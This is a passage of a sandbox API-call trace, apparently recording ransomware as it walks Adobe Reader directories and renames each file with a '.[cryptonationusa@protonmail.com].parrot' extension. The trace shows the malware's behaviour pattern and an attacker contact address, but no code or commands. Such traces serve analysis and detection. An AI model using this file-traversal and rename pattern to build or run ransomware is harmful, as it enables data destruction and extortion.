hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.149] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0246.150] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.151] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0246.151] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.152] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SUO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.suo.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.157] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.157] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0246.158] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.158] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0246.159] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.159] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SVE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.sve.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.165] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.165] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0246.167] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.167] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0246.167] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.168] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.TUR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.tur.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.172] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.172] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0246.174] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.174] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0246.175] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.175] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.UKR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.ukr.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.214] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0246.286] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.286] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0246.288] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.288] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x647, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x647, lpOverlapped=0x0) returned 1 [0246.288] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.289] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\cryptocme2.sig" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\cryptocme2.sig"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\cryptocme2.sig.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\cryptocme2.sig.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.294] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0246.297] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0246.297] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.297] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0246.297] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0246.297] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAT", cAlternateFileName="")) returned 1 [0246.297] lstrcmpW (lpString1="CAT", lpString2=".") returned 1 [0246.297] lstrcmpW (lpString1="CAT", lpString2="..") returned 1 [0246.297] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0246.298] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0246.298] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.298] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0246.298] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0246.298] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11ff6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0246.299] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.299] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0246.300] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.301] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11ff6, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x11ff6, lpOverlapped=0x0) returned 1 [0246.305] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.307] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\AdobeID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\adobeid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.313] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.313] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0246.315] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.315] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11581, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x11581, lpOverlapped=0x0) returned 1 [0246.316] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.317] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\DefaultID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\defaultid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.338] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0246.339] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0246.415] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0246.415] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8039ef40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.415] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0246.415] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0246.415] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20cc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0246.416] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.416] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0246.417] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.417] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x20cc1, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x20cc1, lpOverlapped=0x0) returned 1 [0246.425] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.426] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\AdobeID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs\\adobeid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.435] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.435] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0246.437] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.437] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x207b0, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x207b0, lpOverlapped=0x0) returned 1 [0246.453] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.455] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\DefaultID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs\\defaultid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.510] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0246.511] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0246.512] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0246.512] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8039ef40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.512] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0246.512] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0246.512] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x561b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0246.512] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.512] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0246.514] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.514] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x561b, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x561b, lpOverlapped=0x0) returned 1 [0246.516] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.517] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\AdobeID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\adobeid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.523] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.524] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0246.525] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.525] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x510a, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x510a, lpOverlapped=0x0) returned 1 [0246.526] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.527] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\DefaultID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\defaultid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.531] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0246.531] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0246.535] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0246.535] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.535] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0246.535] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0246.535] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16057, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0246.536] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.536] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0246.537] 